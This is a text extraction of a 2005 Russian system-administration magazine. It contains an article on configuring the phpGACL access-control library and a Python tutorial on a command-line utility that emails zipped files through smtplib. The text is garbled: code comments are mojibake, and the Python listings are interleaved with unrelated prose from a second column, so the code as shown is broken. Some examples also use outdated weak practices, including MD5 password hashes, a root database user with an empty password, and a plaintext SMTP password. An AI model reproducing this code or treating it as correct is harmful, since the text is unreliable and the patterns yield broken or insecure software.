smb.conf, man pam_winbind, man sshd.conf.

PhpGACL – СИСТЕМА УПРАВЛЕНИЯ ПРАВАМИ
Авторизация, аутентификация – эти проблемы всегда появ-
ляются при разработке многопользовательских веб-прило-
жений. Для их решения применяются различные механиз-
мы, которые давно и хорошо известны. Задача контроля прав
доступа несколько сложнее, а её универсальное решение с
произвольным количеством объектов и субъектов, причём с
простым управлением вырастает в довольно серьёзную ра-
боту. Я не раз и не два наблюдал, как программист создал
собственную систему управления правами, да и сам изоб-
рёл пару велосипедов на этом фронте. PhpGACL – это на-
бор функций, призванный если и не решить проблему уп-
равления правами раз и навсегда, то по крайней мере, зна-
чительно её упростить. Он легко встраивается в готовое при-
ложение и позволяет реализовать довольно сложную схему
полномочий пользователей. Объектами доступа могут быть
веб-страницы сайта, базы данных, другие пользователи, хо-
сты и т. д. Для установки не требуется ничего, кроме нали-
чия реляционной базы данных (PostgreSQL, MySQL, Oracle,
Interbase или библиотеки SQLite) и абстрактный класс дос-
тупа к базам данных ADOdb.
Для чего нужна система
управления правами?
Как пример приложения возьмём веб-интерфейс к клиент-
ской базе некого телекоммуникационного предприятия. До-
ступ к нему в той или иной степени имеют все сотрудники,
с той разницей, что, если такие атрибуты, как ФИО, кон-
тактные телефоны, email, общедоступны (на чтение), то с
более конфиденциальной информацией, такой как финан-
совая история, технические детали, могут быть ознакомле-
ны только те, кто по своим должностным обязанностям име-
ют на это право. Изменять наиболее важные сведения (со-
стояние лицевого счёта, атрибуты контракта) имеют право
лишь несколько сотрудников, несущих ответственность за
свои действия. Кроме того, есть ещё индивидуальные роли
– секретарь должен иметь доступ к финансовой истории,
чтобы отвечать клиентам на претензии, скажем, по поводу
приостановки услуги за неуплату, он же должен иметь воз-
можность изменять некоторые атрибуты клиента (состоя-
ние услуги, или, скажем, ФИО), системному инженеру дол-
жна быть доступна возможность менять сетевые парамет-
ры и т. д.
Казалось бы, реализовать права доступа не представ-
№3, март 2005
администрирование
КИРИЛЛ СУХОВ
ляет особо сложной задачи. Формируем пользователей и
на каждый объект системы (в данном случае это веб-стра-
ницы, но при более высоком уровне абстракции объектами
могут быть и таблицы, и базы данных) устанавливаем пра-
ва доступа. В вышеописанном случае сгруппируем эти пра-
ва в простенькую таблицу:
Недостатки тут не очевидны, наоборот, при такой схе-
ме всё кажется явным и прозрачным.
Проблемы начинаются тогда, когда операции с правами
пользователей немного выходят за штатный режим. Допус-
тим, менеджер по работе с клиентами увольняется или за-
болевает, и его функции (если точнее, его права) необходи-
мо срочно передать кому-то другому, в чьи служебные обя-
занности они ранее не входили. Причём системного адми-
нистратора, который может назначить эти функции, поковы-
рявшись в базе данных «отвёрткой», в данный момент нет
на месте, да и вообще данное ковыряние – по сути, нештат-
ная операция, которая в нормально организованной систе-
ме не должна иметь место. Конечно, можно прописать соот-
ветствующие права у конкретного объекта доступа, но осо-
бенность подобных систем состоит в том, что пользовате-
лей (другими словами, субъектов доступа), как правило, го-
раздо больше, чем объектов. Причём при вышеописанном
матричном подходе (в худшем случае, но случае вполне ре-
альном) нам придётся определять права всех пользовате-
лей при доступе к каждому конкретному объекту. Конечно,
можно ввести права «по умолчанию», но тогда проблемы
возникнут при добавлении нового объекта. Ещё одна про-
блема заключается в том, что при реальной работе (ну, ска-
жем, вышеописанной болезни администратора) бывает так,
что права доступа к объектам назначать просто некому. Та-
27
 администрирование
ким образом, система распределения и управления права-
ми должна включать и возможность некоторым категориям
пользователей давать права доступа другим. В этом, кста-
ти, коренное отличие желаемой логики от логики распреде-
ления прав, существующих в современных файловых систе-
мах, таких, как NTFS или различные файловые системы *nix.
Подход, который использует phpgacl, конечно, не панацея,
но довольно эффективен. Он заключается в рассмотрении
пользовательских прав не со стороны объектов, а со сторо-
ны субъектов доступа. Исчерпывающие примеры, демонст-
рирующие её работу, даны в документации, я же сейчас по-
пробую рассмотреть несколько упрощённую модель.
Для начала определимся с терминами. В любой системе
распределения прав существует, по крайней мере, три по-
нятия – это пользователь, запрашивающий доступ, объект,
доступ к которому запрашивается, и, собственно, тип досту-
па (скажем, чтение или изменение данных). В phpgacl пользо-
вателю соответствует определение ACO (Access Control
Objects – Объекты контроля доступа). В данном случае это
просто пользователи системы. Объектам соответствует оп-
ределение ARO (Access Request Objects – Объекты запроса
доступа), которое включает в себя любые объекты доступа,
определяемые приложением.
С третьим пунктом (тип доступа) немного сложнее. В
базовой модели применения это понятие вообще не пре-
дусмотрено, почему – об этом позже. Разумеется, в любой
сколько-нибудь сложной системе данная вещь необходи-
ма, и в phpgacl она, разумеется, присутствует (AXO – Access
eXtension Objects – Объекты расширения доступа), но при-
менение данного средства не всегда нужно, по крайней мере,
по двум причинам. Первая и самая очевидная из них – спе-
цифика доступа в веб-приложениях. Как правило, на «низ-
ком» уровне доступ сводится к предоставлению пользова-
телю прав выполнить определённый скрипт. Вторая причи-
на состоит в том, что результат проверки доступа, который
возвращает система, имеет булевой формат (ALLOW или
DENY) и соответственно тип доступа (если в таковом есть
необходимость), должен быть так же описан как объект.
Логика работы
Сразу хочу предупредить (честно говоря, для меня это было
камнем преткновения), что phpgacl не даёт возможности
указывать права пользователя на конкретные скрипты, веб-
страницы или, скажем, таблицы базы данных. Всё, что она
делает, – это управляет логикой распределения прав. Ав-
торизацию, аутентификацию, привязку к объектам должно
взять на себя ваше приложение. Чтобы получить представ-
ление, как именно это можно сделать, советую посмотреть
реализацию административных функций в популярной CMS
(Content Manager System) Mambo (http://mamboserver.com),
где phpgacl встроена в систему и практически нигде явным
образом не видна, но берёт на себя всю работу распреде-
ления прав пользователей.
Основное отличие phpgacl от вышеописанного таблич-
ного (матричного) подхода в том, что система описывает
структуру прав «сверху вниз», исходя из субъектов (како-
выми в данном случае являются сотрудники). Субъекты
могут быть организованы в группы, причём любого уровня
вложенности. Права назначаются субъектам и группам и
28
могут быть переопределены внутри групп. Очень важно
понимать, что проверка прав заключается в возвращении
булевого значения для любого запроса. Как не совсем оче-
видное следствие такого подхода – невозможность прямо
получить ответ на вопрос вида «кто имеет доступ к изме-
нению баланса клиента?» (в отличие от вопроса «Имеет ли
Вася такой доступ?»). Система смотрит на права с точки
зрения субъектов, а не объектов доступа.
Инсталляция
Требования довольно гуманны. Необходима версия PHP-ин-
терпретатора не ниже 4.2.0*, любой веб-сервер с поддерж-
кой PHP (настоятельно не рекомендуется только Apache 2.x)
и реляционная база данных (декларируется поддержка
MySQL, PostgreSQL, Oracle, Sybase, но ничто не мешает ис-
пользовать MSSQL или вообще любую СУБД, которую под-
держивает php-расширение adodb. Мне удалось после не-
больших изменений работать даже с СУБД cache, но это,
разумеется, уже экзотика).
Сначала скачаем архив с библиотекой (адрес http://
phpGACL.sourceforge.net) и распакуем его в каталог вашего
веб-приложения. Далее открываем и редактируем файл
phpgacl/gacl.class.php. В нём надо определить следующие на-
стройки:
// ïðåôèêñ äëÿ íàèìåíîâàíèÿ òàáëèö â áàçå äàííûõ
var $_db_table_prefix = 'galc_';
var $_db_type = 'mysql'; // òèï áàçû äàííûõ
var $_db_host = 'localhost'; // õîñò áàçû äàííûõ
var $_db_user = 'root'; //ïîëüçîâàòåëü áàçû äàííûõ
var $_db_password = ''; //ïàðîëü ïîëüçîâàòåëÿ
var $_db_name = 'gacl'; //èìÿ áàçû äàííûõ
// îáúåêò ADODB database connector (åñëè ADODB
// íå èñïîëüçîâàëîñü è íå íàñòðàèâàëîñü, ìîæíî îñòàâèòü
// ïóñòûì)
var $_db = '';
Теперь нужно отредактировать phpgacl/admin/gacl_
admin.inc.php, продублировав в нём ту же информацию.
Этот файл необходим административной части скрипта.
Причина, по которой одна и та же информация вводится
дважды, проста – gacl.class.php невелик по размеру и боль-
шинстве случаев нет необходимости включать в приложе-
ние весь программный интерфейс. (Мне это кажется некото-
рой недоработкой, которая, впрочем, легко исправляется).
Создаём базу данных с именем, которое мы задали в
db_name и запускаем скрипт http://localhost/phpgacl/setup.php.
Он создаст необходимые таблицы в базе данных и в конце
работы порадует примерно таким сообщением:
phpGACL Database Setup
Configuration:
driver = mysql,
host = localhost,
user = root,
database = gacl,
table prefix = galc_
Testing database connection...
Success! Connected to "mysql" database on "localhost".
Testing database type...
Success! Compatible database type "mysql" detected!
Making sure database "gacl" exists...
Success! Good, database "gacl" already exists!
Success! Installation Successful!!!
*IMPORTANT*
Please make sure you create the <phpGACL root>/admin/templates_c directory,
and give it write permissions for the user your web server runs as.
Please read the manual, and docs/examples/* to familiarize yourself with phpGACL.
Let's get started!

Как видно из последнего замечания, следует вручную
создать каталог /templates_c в каталоге phpgacl/admin (смысл
данного действия, по-видимому, кроется в возможности за-
дать права на запись) и перейти по ссылке «Let’s get started!».
После этого программа установки выведет отчёт о состоя-
нии вашей системы и запросит подтверждения. Немножко
подумав (для виду), можно согласиться. Если все настрой-
ки правильны, вы попадаете в интерфейс администратора
системы, где уже можно начинать работу – создавать груп-
пы, пользователей, объекты и разделы. В родном интер-
фейсе phpgacl всё довольно понятно, и я бы не хотел долго
объяснять, на какие кнопки нажимать, лучше остановимся
на организации прав доступа.
Для начала разобьём весь персонал компании на вло-
женные группы и определим ARO:
Следующим этапом установим права доступа для дей-
ствий (то есть ACO) для каждой группы или ARO, входящих
в получившееся дерево (в данном случае мы исходим из
того, что по умолчанию доступ куда бы то ни было запре-
щён всем).
Данная схема охватывает все права, но совсем не иде-
ально построена (напоминает сработанную «на коленке»),
но это вполне реальный пример, и далее будем отталки-
ваться от него. Теперь рассмотрим любую типовую ситуа-
цию. Скажем Андрей, неожиданно (или ожидаемо) взял от-
пуск. Костя в силу своей загруженности не может целиком
переложить на себя его обязанности и решает переложить
их на Женю. Коля по каким-то причинам утратил доверие,
и было принято решение, что он вполне может справляться
со своей работой, без информации о финансовом положе-
нии клиента. Более того, решено, что Вася теперь будет
иметь доступ к счетам клиентов. Действия по изменению
логики доступа, несмотря на некоторое несовершенство на-
чальной схемы, минимальны. Типовые действия по изме-
нению, добавлению прав будут показаны ниже, но в дан-
ном случае важна получившаяся диаграмма доступа (а если
называть вещи своими именами, ACL – Access Control Lists
дерево), она будет выглядеть так:
№3, март 2005
администрирование
Сразу скажу, что такой ACL выглядит довольно загру-
женно (при небольшом числе субъектов), но phpGacl позво-
ляет группировать и комбинировать субъекты, строя сколь
угодно сложные схемы. Один и тот же ARO может быть чле-
ном разных групп, в частности, если в вышеприведённом
примере мы решим дать Васе дополнительные полномо-
чия, можно просто добавить его в группу «отдел биллин-
га»:
Как это реализовать на программном уровне? Прежде
всего следует сказать, что phpGACL идентифицирует каж-
дый объект доступа типом объекта (ARO, AXO, ACO) и дву-
мя ключевыми словами – именем раздела и значением.
Раздел – это заданная пользователем общая категория
объекта доступа, значение – название для объекта досту-
па.
Добавление нового элемента в схему происходит сле-
дующим образом:
Äîáàâëåíèå ARO “Ðàçäåë -> Çíà÷åíèå”:
“Billing_group -> Vasya”
“Managers_group -> Oksana”
В данном случае тип объекта понятен из контекста, и
его можно опустить. Таким же образом происходит добав-
ление объектов других типов.
Уровень API
На более низком уровне работа приложения с phpgacl про-
ходит посредством вызова функций программного интер-
фейса.
Вот пример из руководства, реализующий простую про-
верку логина и пароля:
// Ïîäêëþ÷àåì áàçîâûé API
include('phpgacl/gacl.class.php');
$gacl = new gacl();
$username = $db->quote($_POST['username']);
$password = $db->quote(md5($_POST['password']));
$sql = 'SELECT name FROM users WHERE name=';
$sql .= $username.' AND password='.$password;
$row = $db->GetRow($sql);
if($gacl->acl_check('system','login','user',$row['name'])){
$_SESSION['username'] = $row['name'];
return true;
}
else
return false;
Обратите внимание, что здесь используется только один
вызов, а именно функция acl_check(), которая проверяет
ARO-объект $row['name'] в ARO-разделе «user» и ACO-объект
«login» в ACO-разделе «system». Надо отметить, что функ-
ции API не входят в официальную документацию, но их опи-
сание доступно в каталоге docs/phpdoc/ дистрибутива.
При написании статьи был использован русский перевод
документации phpgacl (http://php.russofile.ru/phpGACL.html),
выполненный Кузьмой Феськовым.
29
 администрирование

ПРАКТИКУМ Python:

ОТПРАВКА ФАЙЛОВ ПО ЭЛЕКТРОННОЙ ПОЧТЕ

Как вы отправляете по электронной почте файл из Windows?
Я, например, до недавнего времени делал так: находил нуж-
ный файл в дереве каталогов в FAR; набирал в командной
строке «start .», чтобы открыть каталог в «Проводнике»;
щелкал по файлу правой кнопкой мыши, выбирал «Add to
archive…»; затем щелкал по полученному файлу архива и
выбирал «Отправить → Адресат»… В общем, долго и уто-
СЕРГЕЙ СУПРУНОВ
мительно. Теперь я делаю это из FAR командной строкой
такого вида:
C:\Temp>send to me file “Ãîäîâîé îò÷åò.doc” as year2004.zip
По заголовку статьи вы уже поняли, что такого счастья
удалось достичь благодаря языку Python, и здесь доста-

30
 администрирование
точно подробно описываются предпринятые для этого шаги. self.ZIPNAME = zn = argv[4]
Цель статьи, как обычно, не в описании готового решения if zn.find('*') > -1 or zn.find('?') > -1:
self.ZIPNAME = 'archive.zip'
для «copy – paste», а в том, чтобы показать пути решения
подобных задач. self.ZIPNAME = Unicode(self.ZIPNAME,
pymaconf.fsyscodepage).encode ↵
Итак, с чем нам предстоит столкнуться. Прежде всего (pymaconf.fzipcodepage)
познакомимся с использованием модуля smtplib, входяще- if self.ZIPNAME[-4:] != '.zip':
го в стандартную библиотеку Python, и нужного нам для self.ZIPNAME = self.ZIPNAME + '.zip'
формирования текста почтового сообщения и собственно # âñå îñòàëüíûå ïàðàìåòðû – øàáëîíû ôàéëîâ
для отправки. Вспомним, как работать с zip-архивами. Ну и ifSTOP:
попутно решим некоторые проблемы с кодировками, тра- files = argv[4:STOP]
else:
диционно присущие Windows. files = argv[4:]
Начнем с главного сценария – send.py: if not files:
self.Usage()

Ëèñòèíã 1. Íà÷àëî ñöåíàðèÿ send.py # ôîðìèðóåì ñïèñîê ôàéëîâ ïî øàáëîíàì

self.FILELIST = []
# -*- coding: cp1251 -*- for pattern in files:
tmplist = glob.glob(pattern)
######################################################### for file in tmplist:
# Utility for send files by e-mail from command line if os.path.isfile(file):
#-------------------------------------------------------- self.FILELIST.append(file)
# Usage: if not self.FILELIST:
# send to <addr> files <file1[ file2...]> [(nonzipped | as <zip>)] print '\nERROR: no files found.'
######################################################### self.Usage()

import sys, os, glob, myzip, pymaconf # åñëè íóæíî – çàïðîñ òåìû
from mystd import mystdin, mystdout if pymaconf.promptsubj:
from pysender import pysender tmp = raw_input('Subject: ')
if tmp:
В приведенном фрагменте подключаются нужные нам мо- pymaconf.defsubject = tmp
print
дули. Из них sys, os и glob входят в стандартную библиотеку
Python, myzip – слегка модифицированный вариант модуля, # åñëè íóæíî – çàïðîñ ñîîáùåíèÿ
ifpymaconf.promptmess:
который был разработан ранее для операций упаковки фай- tmp = raw_input('Message: ')
лов (см. статью «Автоматизируем FTP с помощью Python», if tmp:
pymaconf.defmessage = tmp
журнал «Системный администратор» №12, декабрь 2004 г.), print
а остальные будут рассмотрены в процессе работы. # Ôóíêöèÿ îïðåäåëåíèÿ ïîëíîãî àäðåñà ïî ïñåâäîíèìó
Чтобы созданные наработки было удобнее использовать def getaddrbyalias(self, addr):
в дальнейшем, оформим функции нашего сценария как abf = os.path.dirname(__file__) + ↵
os.path.sep + 'addrbook.ab'
класс pyma. Этот класс я приведу полностью, снабжая ком- ab = open(abf, 'r').readlines()
ментариями наиболее интересные моменты. Ниже будут aliases = {}
for line in ab:
даны еще некоторые пояснения. alias, fulladdr = line.split()
aliases[alias] = fulladdr
try:
Ëèñòèíã 2. Ñåðåäèíà ñöåíàðèÿ send.py (êëàññ pyma) fulladdr = aliases[addr]
except:
classpyma: fulladdr= addr
# ôóíêöèÿ èíèöèàëèçàöèè – ââîäèì ïåðåìåííûå, return fulladdr
# êîòîðûì íóæíî çàäàòü çíà÷åíèÿ ïî óìîë÷àíèþ
def __init__(self): # Ôóíêöèÿ ôîðìèðîâàíèÿ è îòïðàâêè ñîîáùåíèÿ
self.FLG_NZ = False # áóäåì ëè óïàêîâûâàòü ôàéëû def sendmail(self):
self.ZIPNAME = '' # èìÿ zip-àðõèâà self.parseParameters(*sys.argv)
ifself.FLG_NZ:
# Ôóíêöèÿ ðàçáîðà ïàðàìåòðîâ, ââåäåííûõ â êîìàíäíîé ñòðîêå # åñëè íå óïàêîâûâàòü – îòïðàâêà ôàéëîâ ïî ñïèñêó
def parseParameters(self, *argv): pysender().sendfiles(self.TO, ↵
STOP = 0 self.FILELIST)
# äîëæíî áûòü íå ìåíåå 5 ïàðàìåòðîâ else:
iflen(argv) < 5: # èíà÷å óïàêîâûâàåì ïî ñïèñêó è îòïðàâëÿåì àðõèâ
self.Usage() # (èìÿ ïðîãðàììû + åùå 4) myzip.writepattzip(self.ZIPNAME, ↵
# 1-é îáÿçàòåëüíî «to» self.FILELIST)
if argv[1][:2] != 'to': pysender().sendfiles(self.TO, ↵
self.Usage() (self.ZIPNAME,))
# 3-é îáÿçàòåëüíî «fi[les]» os.remove(self.ZIPNAME)
if argv[3][:2] != 'fi':
self.Usage() # Ôóíêöèÿ âûâîäà ñîîáùåíèÿ î ïðàâèëüíîì ñèíòàêñèñå
self.TO = self.getaddrbyalias(argv[2]) def Usage(self):
# åñëè ïîñëåäíèé ïàðàìåòð íà÷èíàåòñÿ print '''
ifargv[-1][:2] == 'no': Utility for send files by e-mail from command line
# ñ «no», íå óïàêîâûâàòü Usage:
self.FLG_NZ = True send to <addr> files <file1[ file2...]> ↵
STOP = -1 [(nonzipped | as <zip>)]'''
# åñëè ïðåäïîñëåäíèé – «as» sys.exit()
elif argv[-2][:2] == 'as':
# òî ïîñëåäíèé – èìÿ àðõèâà
self.ZIPNAME = argv[-1] То есть этот модуль обеспечивает лишь разбор строки
STOP = -2
# èíà÷å èìÿ àðõèâà – ïî 1-ìó ôàéëó параметров, а сами функции отправки и упаковки разме-
else: щены в других модулях. Обратите внимание на конструк-

№3, март 2005 31

 администрирование
ции вида «argv[-2][:2]». Они используются для того, чтобы в # Ïàðàìåòðû ïåðåêîäèðîâîê
параметрах командной строки значащими были только пер- basecodepage = 'cp1251' # òåêñò â èñõîäíèêàõ
termcodepage = 'cp866' # òåðìèíàë (ââîä-âûâîä)
вые два символа. Операция [m:n], называемая срезом, по- mailcodepage = 'cp1251' # êîäèðîâêà ïèñåì
зволяет извлечь из массива «подмассив» начиная с эле- fsyscodepage = 'cp1251' # êîäèðîâêà èìåí ôàéëîâ
# â ñèñòåìå
мента m до элемента n, не включая последний. Если m или fzipcodepage = 'cp1251' # êîäèðîâêà èìåíè
n пропущено, подразумевается «с начала массива» или «до # zip-àðõèâà
конца массива» соответственно. Собственно, здесь нет ничего интересного – просто оп-
Текстовая строка может рассматриваться как массив ределяется ряд переменных, которые будут использовать-
одиночных символов. Благодаря этому ключ «files» можно ся в дальнейшем. Если ваш smtp-сервер требует авториза-
записать и как «file», что более логично при отправке одно- цию, установите переменную authrequire в 1 и заполните
го файла, и даже как «fi». Аналогично ключ «nonzipped» значения authlogin и authpassword. В данной программе
можно сокращать вплоть до «no». пароль хранится в открытом виде, поэтому если доступ к
Конечно, можно было бы использовать более традици- вашей машине достаточно «либеральный», следует позабо-
онный синтаксис командной строки, но такая запись вос- титься о защите этой информации. Переменные promptsubj
принимается и запоминается лучше. Сравните, например, и promptmess определяют, должен ли выдаваться запрос
две команды: на ввод темы и тела письма или следует просто подстав-
лять значения, определенные по умолчанию.
send–t amsand@rambler.ru –f report.txt –z rep2.zip Функция sendmail() класса pyma вызывает разбор ко-
send to amsand@rambler.ru file report.txt as rep2.zip
мандной строки, выделяя адрес получателя, список фай-
Лично мне больше нравится вторая, хотя она и сложнее лов для отправки и ключи, определяющие параметры упа-
в разборе. ковки. Функция getaddrbyalias() возвращает полный адрес
Последний отрывок файла send.py приведен ниже, но по указанному в командной строке псевдониму. Если соот-
большую часть происходящего в нем я поясню немного поз- ветствие не найдено, возвращается адрес, введенный в ко-
же. На данный момент достаточно знать, что он просто вы- мандной строке. Сам файл addrbook.ab выглядит пример-
зывает функцию отправки сообщения. но так:

Ëèñòèíã 3. Êîíåö ñöåíàðèÿ send.py buh ivanova@my.server.ru

me amsand@rambler.ru
if __name__ == '__main__': .. .. ..
mo = mystdout()
mi = mystdin()
mo.setmystdout() То есть если указать «to me», почта будет отправлена
mi.setmystdin() на адрес amsand@rambler.ru, как если бы было указано «to
nc = pyma()
nc.sendmail() amsand@rambler.ru».
mo.setorigin() Обратите внимание на конструкцию, с помощью кото-
mi.setorigin()
рой определяется полный путь к файлу адресной книги:
На этом send.py завершается. Должно быть, вы уже за-
метили, что нигде не видно ни адреса отправителя, ни па- abf = os.path.dirname(__file__) + os.path.sep + 'addrbook.ab'
раметров smtp-сервера, через который выполняется отправ-
ка. Конечно, все это присутствует, но вынесено в конфигу- Поскольку нужно, чтобы утилиту отправки можно было
рационный файл pymaconf.py, представленный ниже: запускать из любого каталога, и именно там Python будет
искать файлы, указанные без пути, то нам нужно «привя-
Ëèñòèíã 4. Êîíôèãóðàöèîííûé ñöåíàðèé pymaconf.py заться» к месту размещения файла send.py. Встроенная
# -*- coding: cp1251 -*- переменная __file__ возвращает полное имя модуля, из ко-
торого она вызывается. Функция dirname() модуля os.path
# Èìÿ smtp-ñåðâåðà
smtpserver = 'my.server.ru' вырезает из полного имени файла имя каталога. Ну и что-
бы обеспечить переносимость между различными опера-
# Ïàðàìåòðû smtp-àâòîðèçàöèè
authrequire = 0 ционными системами вместо явного указания слеша для
authlogin = '' отделения каталога от имени файла используем перемен-
authpassword = ''
ную os.path.sep, которая возвращает прямой слеш «/» на
# Àäðåñ îòïðàâèòåëÿ системах UNIX и обратный «\» в Windows.
fromaddr = 'pyma.test@my.server.ru'
Вернемся к функции sendmail(). Если в командной стро-
# Çàïðàøèâàòü ëè òåìó ñîîáùåíèÿ ке определен ключ «nonzipped», то в процессе ее разбора
promptsubj = 1
# Òåìà ñîîáùåíèÿ ïî óìîë÷àíèþ функцией parseParameters() переменная FLG_NZ получит
defsubject = 'Îòïðàâêà ôàéëà' истинное значение. При этом весь список файлов, поме-
# Çàïðàøèâàòü ëè òåêñò ïèñüìà щенный в переменную FILELIST, отправляется непосред-
promptmess = 1 ственно в функцию sendfiles() модуля pysender (который
# Òåêñò ïèñüìà ïî óìîë÷àíèþ
defmessage = 'Îòïðàâêà ôàéëà\n\n\t-= pyma v.0.1 =-' будет рассмотрен далее). Если же требуется упаковка, что
является поведением по умолчанию, то список файлов от-
# Îòïðàâëÿòü ëè êîïèè ïèñåì íà óêàçàííûé àäðåñ
backmail = 1 дается на обработку функции writepattzip() модуля myzip,
backaddr = 'pyma.back@my.server.ru' который был разработан ранее для графической утилиты

32

отправки файлов по FTP. Здесь мы не будем к нему воз-
вращаться, код этого модуля, как и всех остальных, можно
будет скачать с сайта журнала: http://samag.ru/source. Пос-
ле упаковки функция sendfiles() получает имя созданного
архива. Как только отправка завершится, zip-файл будет
удален.
Вся основная работа выполняется функцией sendfiles()
модуля pysender. Ниже представлен этот модуль:
Ëèñòèíã 5. Ìîäóëü pysender.py
# -*- coding: cp1251 -*-
import os, smtplib, pymaconf, pymalog
class pysender:
# Ôóíêöèÿ èíèöèàëèçàöèè
def __init__(self):
# Ðàçáèðàåì ôàéë mime-òèïîâ.
mtf = os.path.dirname(__file__) + ↵
os.path.sep + 'mime.types'
mt = open(mtf, 'r').readlines()
self.mimetypes = {}
for line in mt:
mimetype, mimeext = line[:-1].split()
self.mimetypes[mimeext] = mimetype
# Øàáëîí çàãîëîâêà ïèñüìà, âêëþ÷àÿ òåëî ïèñüìà
messagepart = '''From: %(fromaddr)s
To: %(toaddr)s
Subject: %(subject)s
X-Mailer: PyMa 0.1
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="%(boundary)s"
This is a multi-part message in MIME format.
--%(boundary)s
Content-Type: text/plain; charset="%(codepage)s"
Content-Transfer-Encoding: Base64
%(message)s
'''
# Øàáëîí âëîæåíèÿ â ïèñüìå
attachpart = '''--%(boundary)s
Content-Type: %(mimetype)s; name="%(filename)s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="%(filename)s"
%(mimed)s'''
# Ôóíêöèÿ âîçâðàùàåò mime-òèï ïî ðàñøèðåíèþ ôàéëà
# Èñïîëüçóåòñÿ ñëîâàðü, ñôîðìèðîâàííûé âî âðåìÿ
# èíèöèàëèçàöèè êëàññà
def getmimetypebyext(self, ext):
try:
mt = self.mimetypes[ext]
except:
mt = 'application/octet-stream'
return mt
# Ôóíêöèÿ ôîðìèðóåò ñîîáùåíèå è îòïðàâëÿåò åãî
def sendfiles(self, toaddr, filelist):
# çàïîëíÿåì ñëîâàðü ïàðàìåòðîâ, èñïîëüçóåìûõ â øàáëîíå
param = {}
param['boundary'] = ↵
'-=-=_BOUNDARY_adba_YRADNUOB_=-=-'
param['fromaddr'] = pymaconf.fromaddr
if pymaconf.backmail and pymaconf.backaddr:
param['toaddr'] = toaddr + ↵
'\nBcc: ' + pymaconf.backaddr
envtoaddr = [toaddr]
envtoaddr.append(pymaconf.backaddr)
else:
param['toaddr'] = toaddr
envtoaddr = [toaddr]
param['subject'] = pymaconf.defsubject
param['message'] = pymaconf.defmessage
№3, март 2005
администрирование
param['codepage'] = pymaconf.mailcodepage
param['message'] = smtplib.base64. ↵
encodestring(param['message'])
msg= self.messagepart % param
# äëÿ êàæäîãî ôàéëà èç ñïèñêà ôîðìèðóåì
# ÷àñòü ñîîáùåíèÿ, îáúÿâëÿþùåãî âëîæåíèå
files = ''
print 'pysender: MIME-ïðåîáðàçîâàíèå âëîæåíèé:'
for filename in filelist:
files += filename + ','
param['filename'] = filename
base, ext = os.path.splitext(filename)
param['mimetype'] = ↵
self.getmimetypebyext(ext[1:])
print 'pysender: + %s...' % filename
ist = open(filename, 'rb').read()
param['mimed'] = smtplib. ↵
base64.encodestring(ist)
msg = msg + (self.attachpart % param)
# îòïðàâêà ñîîáùåíèÿ
print 'pysender: ñîåäèíåíèå ñ %s...' % ↵
pymaconf.smtpserver
try:
session = smtplib. ↵
SMTP(pymaconf.smtpserver)
if pymaconf.authrequire:
session.login ↵
(pymaconf.authlogin,
pymaconf. ↵
authpassword)
print 'pysender: ↵
âûïîëíÿåòñÿ îòïðàâêà...'
session.sendmail(pymaconf.fromaddr, ↵
envtoaddr, msg)
print 'pysender: îòïðàâêà çàâåðøåíà.'
session.quit()
pymalog.write('SENT: %s to %s' % ↵
(files, toaddr))
except:
print 'pysender: ÎØÈÁÊÀ ÎÒÏÐÀÂÊÈ.'
pymalog.write('ERROR: %s to %s' % ↵
(files, toaddr))
Центральной частью описанного здесь класса являются
шаблоны сообщений messagepart и attachpart. В них широко
применяется использование знакомест вида %(key)s, кото-
рые заполняются значениями, соответствующими ключам
из словаря, указываемого после оператора «%». Например,
строка param[‘message’] будет помещена в шаблон вместо
конструкции %(message)s.
Шаблоны описывают вид сообщения в формате MIME.
Для упрощения работы все, включая тело сообщения, мы
кодируем в соответствии с Base64, для чего используется
функция encodestring() класса smtp.base64. Каждое вложе-
ние также преобразовывается согласно Base64 и оформ-
ляется как mime-часть сообщения. Для определения mime-
типа файла по его расширению используется файл соот-
ветствия mime.types, в качестве которого выступает слег-
ка откорректированный одноименный файл, поставляемый
вместе с Apache.
Главное, что нужно в нем сделать, – разбить строки, в
которых одному mime-типу ставятся в соответствие несколь-
ко расширений, таким образом, чтобы в каждой строке
фигурировало только одно расширение. Комментарии и
строки без расширений удаляются. Файл, который исполь-
зую я, можно будет найти на сайте журнала в разделе «Ис-
ходный код». Если определить mime-тип не удалось, исполь-
зуется значение «application/octet-stream».
33
 администрирование
После того как будет сформировано сообщение нужно-
го формата, оно отправляется адресату с помощью функ-
ции sendmail() стандартного модуля smtplib. Помимо текста
сообщения ей передаются адреса отправителя и получате-
ля для формирования конверта. Если в конфигурационном
файле включен режим отправки копий всех писем на ука-
занный адрес (что может быть полезно как для контроля,
так и в качестве плохонькой, но все же замены папки «От-
правленные»), то к адресу получателя добавляется и ука-
занный в pymaconf.py. Функция write() модуля pymalog за-
носит в лог-файл сообщение о результате отправки пись-
ма, чтобы в дальнейшем можно было отследить, что, когда
и куда отправлялось. Сам модуль pymalog.py:
Ëèñòèíã 6. Ìîäóëü pymalog.py
# -*- coding: cp1251 -*-
import time, os
name = os.path.dirname(__file__) + os.path.sep + 'pyma.log'
def write(str):
dt = time.strftime('%d.%m.%Y %H:%I:%S')
log = open(name, 'a+')
log.write('%s: %s\n' % (dt, str))
log.close()
if __name__ == '__main__':
write('qwerty')
Все. Можно вводить заветную командную строку и смот-
реть, что получилось. А получились две неприятности, с ко-
торыми нам предстоит побороться. Первая – наш код запи-
сан в cp1251, а FAR выводит строки в cp866. В итоге весь
вывод, который происходит во время работы утилиты, име-
ет нечитаемый вид. Если переписать код в cp866, то текст
сообщений будет выглядеть нормально, но нечитаемыми ста-
нут имена файлов, имеющие символы кириллицы (Windows
использует для именования файлов cp1251). Наверняка ука-
занную проблему можно было бы обойти проще, чем это
сделал я, но использованное решение может быть примене-
но в других случаях, а потому представляет определенную
учебную ценность. Мы переопределим стандартные потоки
ввода-вывода. Для этого напишем еще один модуль,
mystd.py:
Ëèñòèíã 7. Ìîäóëü mystd.py
# -*- coding: cp1251 -*-
import sys
from pymaconf import termcodepage, basecodepage
# Êëàññ ïåðåîïðåäåëåíèÿ ïîòîêà ââîäà
classmystdin:
def readline(self):
str = self.origin.readline()
return unicode(str, ↵
termcodepage).encode(basecodepage)
def setmystdin(self):
self.origin, sys.stdin = sys.stdin, self
def setorigin(self):
sys.stdin = self.origin
# Êëàññ ïåðåîïðåäåëåíèÿ ïîòîêà âûâîäà
classmystdout:
def write(self, str):
self.setorigin()
34
print unicode(str, ↵
basecodepage).encode(termcodepage),
self.setmystdout()
def setmystdout(self):
